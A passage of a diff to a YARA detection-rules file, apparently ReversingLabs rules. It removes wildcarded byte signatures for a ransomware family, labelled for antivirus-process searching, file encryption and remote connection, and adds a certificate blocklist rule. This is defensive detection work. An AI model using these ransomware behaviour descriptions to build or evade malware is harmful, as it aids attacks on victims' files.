?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50 - 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF - ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 - ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF - 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? - 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? - ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE - E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? - ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? - ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 - } - $search_antivirus_processes_v5_0_1 = { - 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ?? - 33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB - ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? - ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D - 58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D - 0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? - ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 - 33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D - ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? - ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2 - } - $set_url_parameters_v5_0_2 = { - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 - ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? - 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A - ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? - ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A - ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B E5 5D C3 - } - $set_url_parameters_v5_0_3 = { - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 - ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? - 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D - 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? - 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B E5 5D C3 - } - $search_antivirus_processes_v5_0_2 = { - 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ?? - 33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB - ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? - ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D - 58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D - 0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? - ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 - 33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D - ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? - ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2 - } - $find_files_v5_0_2 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 - 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 - ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? - 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50 - 6A ?? 56 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? - ?? ?? 89 44 24 ?? 8B 4C 24 ?? 33 D2 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D - 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6 44 - 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? - ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? - ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59 8B - 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? - ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B - 8B E5 5D C3 - } - $crypt_files_v5_0_2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ?? - ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ?? - ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0 - 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB - ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68 - ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? - 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? - ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57 - C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55 - ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 - ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? - ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? - ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? - ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 - ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? - ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? - 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? - ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 - ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 - C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 - C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 - 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 - FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B - CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? - FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? - ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF - D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 - ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 - 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? - ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 - } - $remote_connection_v5_0_2 = { - 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 - 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? - ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? - 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 - ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF - 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45 - F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2 - } - $crypt_files_v5_0_3 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 33 DB B9 ?? ?? ?? ?? 89 5D ?? E8 - ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? - 53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 53 - 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 8D 45 ?? 50 68 ?? ?? ?? ?? - 56 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 81 BE ?? ?? - ?? ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? FF 70 ?? FF 70 ?? 53 53 57 FF 15 ?? ?? ?? ?? 57 FF - 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 53 0F 57 C0 66 0F 13 45 ?? FF - 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 89 5D ?? 56 8D 4D ?? E8 ?? ?? - ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 41 - 8B 45 ?? 89 85 ?? ?? ?? ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1 - ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75 - ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 3B - 8E ?? ?? ?? ?? 8B 45 ?? 6A ?? 5A 0F 42 C2 39 5D ?? 8B 55 ?? 0F 45 45 ?? 01 8E ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 11 9E ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 50 56 89 45 ?? - E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 57 FF 15 ?? ?? ?? ?? 8B - C3 89 5D ?? 83 F8 ?? 7D ?? 53 8D 45 ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 - ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 40 89 45 ?? EB ?? 8B 75 ?? 33 C0 8B 4D ?? 40 01 - 86 ?? ?? ?? ?? 11 9E ?? ?? ?? ?? EB ?? 33 C0 8D 48 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ?? - ?? 39 5D ?? 74 ?? 6A ?? 53 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? - ?? ?? 53 8D 45 ?? 50 68 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ?? - ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B 45 ?? 57 83 08 - ?? FF 15 ?? ?? ?? ?? 8B C3 5F 5E 5B 8B E5 5D C3 - } - $remote_connection_v5_0_3 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 8B F1 53 - 50 89 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B FB 0F B7 04 5E 66 85 C0 74 ?? 83 F8 ?? 75 ?? - 83 C3 ?? 56 89 5D ?? FF 15 ?? ?? ?? ?? 3B D8 73 ?? 8D 14 1B 0F B7 04 32 EB ?? 66 83 - F8 ?? 74 ?? 43 0F B7 04 5E 66 85 C0 75 ?? EB ?? 8B CB 2B 4D ?? 74 ?? 03 F2 8D BD ?? - ?? ?? ?? D1 E9 F3 A5 13 C9 66 F3 A5 8B 75 ?? 8D 43 ?? 8D 04 46 50 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 33 FF 47 43 85 FF 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? - ?? 8D 7D ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 - FF 74 ?? 51 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 83 EC ?? 57 FF 15 ?? ?? ?? - ?? 50 57 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B CF 8B - F0 E8 ?? ?? ?? ?? EB ?? 33 F6 83 7D ?? ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B C6 - 5E 5B 8B E5 5D C3 - } + id = "71e627d9-0892-5501-8189-26eae36b7965" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12966-L12982" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "cfb2631bc1832f65fb9d77c812bf2a1e05121e825254bd57ae8b21e7b10b2344" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( $search_antivirus_processes and $find_files and $crypt_files and $remote_connection ) or ( $find_files_v2 and $crypt_files_v2 and $search_antivirus_processes_v2 and $remote_connection_v2 ) or ( $search_antivirus_processes_v2 and $find_files_v2_1 and $crypt_files_v2_1 and $remote_connection_v2_1 ) or ( $search_antivirus_processes_v4_1_2 and $find_files_v4_1_2 and $crypt_files_v4_1_2 and $remote_connection_v4_1_2 and $url_parameters_setup_v4_1_2 ) or ( $search_antivirus_processes_v4 and $find_files_v4 and $crypt_files_v4 and $url_parameters_setup_v4 ) or ( $search_antivirus_processes_v2 and $find_files_v2_1 and $remote_connection_v2_1 and $crypt_files_v3 ) or ( $search_antivirus_processes_v5 and $find_files_v5 and $crypt_files_v5 and $remote_connection_v5 and $url_parameters_setup_v5 ) or ( $search_antivirus_processes_v5_0_1 and $find_files_v5_0_1 and $crypt_files_v5_0_1 and $url_parameters_setup_v5_0_1 and $remote_connection_v5_0_1 ) or ( $search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_2 and $set_url_parameters_v5_0_2 and $remote_connection_v5_0_2 ) or ( $search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_3 and $set_url_parameters_v5_0_3 and $remote_connection_v5_0_3 ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DON'T MISS A WORD LIMITED" and pe.signatures [ i ] . serial == "2d:aa:8d:62:9c:c0:41:0a:94:82:e6:2a:0f:8b:f8:fc" and 1543449600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Targetcompany : TC_DETECTION MALICIOUS MALWARE FILE + +rule 